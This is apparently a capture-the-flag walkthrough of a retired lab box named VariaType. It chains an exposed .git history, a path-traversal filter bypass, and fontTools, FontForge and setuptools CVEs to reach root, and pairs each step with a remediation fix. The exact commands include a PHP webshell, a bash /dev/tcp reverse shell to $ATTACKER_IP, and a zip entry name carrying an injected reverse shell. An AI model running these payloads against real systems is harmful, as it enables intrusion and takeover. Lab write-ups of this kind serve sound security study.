← all walkthroughs

VariaType

Linux· Medium
owned
2026-09-04
time to own
30m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped variatype's web surface to two virtual hosts and found an exposed .git directory on the PHP validation portal whose commit history (not the working tree) contained a live dashboard password. That access, combined with a filter-bypass path-traversal bug in a file-download endpoint, exposed the backend Flask font-tooling application's source. A critical file-write vulnerability in the bundled fontTools library (CVE-2025-66034) was then abused through the font-generation feature to drop a PHP webshell and gain code execution as www-data.

From there, a font-processing pipeline that fed uploaded archives to FontForge as user steve via a root cron job was abused through a filename-based command injection (CVE-2024-25082) to pivot to steve's account, exposing user.txt. Finally, a sudo rule letting steve run a plugin-installer script as root was abused via an unpatched setuptools download primitive (CVE-2025-47273) that trusts a remote server's declared filename, allowing me to overwrite root's SSH authorized_keys and log in as root for full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationService enumeration and virtual-host discovery
Mapped the web surface and discovered a second virtual host
An Nmap sweep found only SSH and an nginx web server. The web server redirected to variatype.htb (a Flask-based font tooling app on an internal :5000 backend). Virtual-host fuzzing uncovered a second, undocumented host, portal.variatype.htb, running a PHP font-validation portal.
Nmap: 22/tcp ssh, 80/tcp http nginx 1.22.1; vhost fuzz revealed portal.variatype.htb.
Exact commands 3
Confirms only 22/tcp and 80/tcp are exposed.
nmap -sC -sV $TARGET
Add both discovered vhosts to local DNS resolution.
echo "$TARGET variatype.htb portal.variatype.htb" | sudo tee -a /etc/hosts
Fuzz for additional virtual hosts; finds portal.variatype.htb.
gobuster vhost -u http://variatype.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 40
2Initial AccessExposed .git directory / secrets in version-control history
Recovered dashboard credentials from an exposed .git commit history
The portal's .git directory was reachable over HTTP and had been left in place after deployment. The current working tree had no secrets, but a deleted/older commit in the git log still contained a hardcoded password for the portal's dashboard login.
Git-dumper recovered the repo from http://portal.variatype.htb/.git/; git log -p surfaced gitbot:[REDACTED: recovered credential] in a prior commit.
Exact commands 2
Reconstructs the full repository, including history, from the exposed .git folder.
git-dumper http://portal.variatype.htb/.git/ portal_src
Walk every commit (not just HEAD) — the credential was removed from the working tree but survives in history.
git -C portal_src log -p
FixRemove exposed .git directories from production web roots and rotate leaked credentialsCritical
WeaknessThe portal's .git directory was served over HTTP, letting an unauthorised user reconstruct the full repository — including a dashboard password committed in an earlier revision and never fully removed from history.
FixBlock access to .git (and other VCS metadata) at the web server (e.g. location ~ /\.git { deny all; } in nginx) and exclude .git from deployment artifacts entirely. Rotate any credential that ever appeared in the repository history, and use a secrets scanner (gitleaks/trufflehog) in CI to catch future commits before they land.
3ReconnaissanceFilter-bypass path traversal (single-pass string replacement, CWE-22)
Bypassed a path-traversal filter to read backend application source
The portal's download.php?f= endpoint stripped the literal string '../' from input, but only once. Submitting '....//' collapses to '../' after a single pass, so the filter could be defeated by repeating the pattern once per directory level, allowing arbitrary file reads including the backend Flask app source and service configuration.
GET /download.php?f=....//....//....//....//etc/passwd returned /etc/passwd; same technique read /opt/variatype/app.py and confirmed the steve/www-data account layout.
Exact commands 2
Confirms the traversal bypass works against a known file.
curl -sSk 'http://portal.variatype.htb/download.php?f=....//....//....//....//etc/passwd'
Pulls the Flask backend source for further analysis (fontTools usage, routes).
curl -sSk 'http://portal.variatype.htb/download.php?f=....//....//....//....//opt/variatype/app.py' -o app.py
FixFix the single-pass path-traversal filter in the file download endpointHigh
Weaknessdownload.php removed the literal string '../' from user input only once, so a pattern like '....//' collapsed into a working traversal sequence after the filter ran, exposing arbitrary file reads.
FixDo not attempt to sanitize traversal sequences with string replacement. Resolve the requested path with realpath()/canonicalization and verify the result is still inside an explicit allow-listed base directory before serving it; reject the request otherwise.
4ExploitationArbitrary file write via crafted font-build input (CVE-2025-66034)
Wrote a PHP webshell via a fontTools arbitrary file-write bug (CVE-2025-66034)
The variable-font generation feature builds fonts from an uploaded .designspace file plus a source TTF, using a fontTools varLib version (4.50.0) vulnerable to CVE-2025-66034. The <variable-font filename="..."> attribute inside the .designspace file is an unsanitized, my own absolute output path, and a CDATA-wrapped <labelname> block let PHP code ride along into the generated file. This wrote a webshell directly into the portal's public web root, then a reverse shell was triggered through it.
POST /tools/variable-font-generator/process with a malicious .designspace wrote /var/www/portal.variatype.htb/public/0xdf.php; requesting it executed shell_exec as www-data (uid=33).
Exact commands 3
Malicious.designspace sets <variable-font filename="/var/www/portal.variatype.htb/public/0xdf.php"> and embeds <labelname><![CDATA[<?php echo shell_exec($_REQUEST['cmd']);?>]]></labelname>; CDATA-wrapping is required or the XML parse breaks.
curl -sSk http://portal.variatype.htb/tools/variable-font-generator/process -F 'designspace=@malicious.designspace' -F 'font=@DejaVuSans.ttf'
Triggers the planted webshell to catch a reverse shell as www-data.
curl -sSk http://portal.variatype.htb/0xdf.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/443 0>&1"'
Run in the new shell to prove access: uid=33(www-data) gid=33(www-data) groups=33(www-data).
id
FixUpgrade fontTools and validate font-build output pathsCritical
WeaknessThe font-generation feature ran fontTools varLib 4.50.0, vulnerable to CVE-2025-66034, which let an externally supplied .designspace file specify an absolute output path and inject content, resulting in an arbitrary file write reachable from the web application.
FixUpgrade fontTools to 4.60.2 or later. Independently, never let a user-controlled build input dictate an absolute filesystem output path — force output into a fixed, non-executable directory with a server-generated filename.
5Lateral MovementCommand injection via unsanitized archive-entry filename (CVE-2024-25082)
Pivoted to user steve via a FontForge filename command-injection cron job
A root-owned cron job runs every ~2 minutes as steve, feeding archives dropped into the web-writable uploads directory to FontForge for processing (/home/steve/bin/process_client_submissions.sh). The outer archive filename was validated, but filenames of files stored inside the archive were not, and FontForge is vulnerable to CVE-2024-25082, which lets a crafted inner filename execute shell commands. A zip was built with an inner entry name of the form $(base64-decoded reverse shell | bash).ttf, dropped into the group-writable files directory, and the cron picked it up, producing a callback as steve. An SSH key was then written to steve's authorized_keys for stable access.
Connection from $TARGET:34554 to the operator listener from a /tmp/ffarchive-* extraction directory; interactive shell reported steve@variatype; subsequent SSH as steve returned uid=1000(steve) gid=1000(steve) groups=1000(steve).
Exact commands 5
Builds a zip whose inner entry name carries the injected, base64-wrapped reverse shell; the .ttf content can be any real font.
python3 -c "import zipfile; zipfile.ZipFile('sploit.zip','w',zipfile.ZIP_DEFLATED).write('DejaVuSans.ttf', arcname='$(echo <BASE64_REVSHELL>|base64 -d|bash).ttf')"
Drop the payload into the watched, group-writable upload directory as www-data.
cp sploit.zip /var/www/portal.variatype.htb/public/files/
Listener on my host; wait up to ~2 minutes for the cron to run FontForge over the archive.
nc -lvnp 4444
Generate a keypair once a steve shell is caught, for a stable follow-up SSH session.
ssh-keygen -q -t ed25519 -N '' -f /tmp/stevekey
Confirms escalation with id, then reads the user flag; replace with <user.txt>.
ssh -i /tmp/stevekey -o StrictHostKeyChecking=no steve@$TARGET 'cat /home/steve/user.txt'
FixPatch FontForge and sanitize archive contents before automated processingCritical
WeaknessA root-scheduled cron job fed user-uploaded archives to a vulnerable FontForge (CVE-2024-25082), which is susceptible to command injection via a crafted filename inside the archive — a vector the pipeline never validated because only the outer archive name was checked.
FixUpgrade FontForge past the fixed version. Additionally, extract archives into an isolated location and validate every inner filename against a strict allow-list (extension and character set) before any tool touches them, and run the automated processing step as a dedicated low-privilege account rather than a real user with SSH access.
6Privilege EscalationPath traversal via trusted Content-Disposition filename (CVE-2025-47273)
Abused a sudo-permitted installer script to overwrite root's SSH keys (CVE-2025-47273)
Sudo -l showed steve could run /usr/bin/python3 /opt/font-tools/install_validator.py as root with no argument restrictions. The script calls setuptools' PackageIndex().download() to fetch a 'plugin' from my own URL. The installed setuptools (78.1.0, pre-fix for CVE-2025-47273) trusts the remote server's Content-Disposition filename rather than sanitizing it, so a malicious HTTP server can supply a path-traversal filename and cause the root-run script to write content anywhere on disk. A custom server was written to serve my SSH public key with a Content-Disposition filename that traversed to /root/.ssh/authorized_keys, and running the sudo command wrote the key as root.
Sudo -l: '(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *'; installer log showed 'Plugin installed at: /root/.ssh/authorized_keys'; subsequent SSH as root returned uid=0(root) gid=0(root) groups=0(root).
Exact commands 4
Confirms the NOPASSWD rule on install_validator.py.
ssh -i /tmp/stevekey steve@$TARGET 'sudo -l'
Custom HTTP server (NOT python3 -m http.server — must set a crafted header) that returns your SSH public key as the body with header: Content-Disposition: attachment; filename="../../../root/.ssh/authorized_keys".
python3 malicious_dispo_server.py
Writes my key into /root/.ssh/authorized_keys via the traversal-decoded Content-Disposition filename.
ssh -i /tmp/stevekey steve@$TARGET "sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://$ATTACKER_IP:18081/x"
Confirms uid=0(root) then reads the root flag; replace with <root.txt>.
ssh -i /tmp/stevekey root@$TARGET 'id; cat /root/root.txt'
FixPatch setuptools and constrain the sudo-permitted installer scriptCritical
Weaknesssteve could run install_validator.py as root with an arbitrary argument via sudo, and the script's use of setuptools' PackageIndex().download() (pre-CVE-2025-47273 fix) trusted a remote server's Content-Disposition filename, letting an unauthorised user traverse the write path and overwrite /root/.ssh/authorized_keys.
FixUpgrade setuptools to 78.1.1 or later, which stops trusting the remote Content-Disposition filename for the write path. Also tighten the sudoers entry to remove the wildcard argument, and make the installer write only into a fixed, validated destination directory regardless of what the remote server claims.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

Exposed services

22/tcp
80/tcp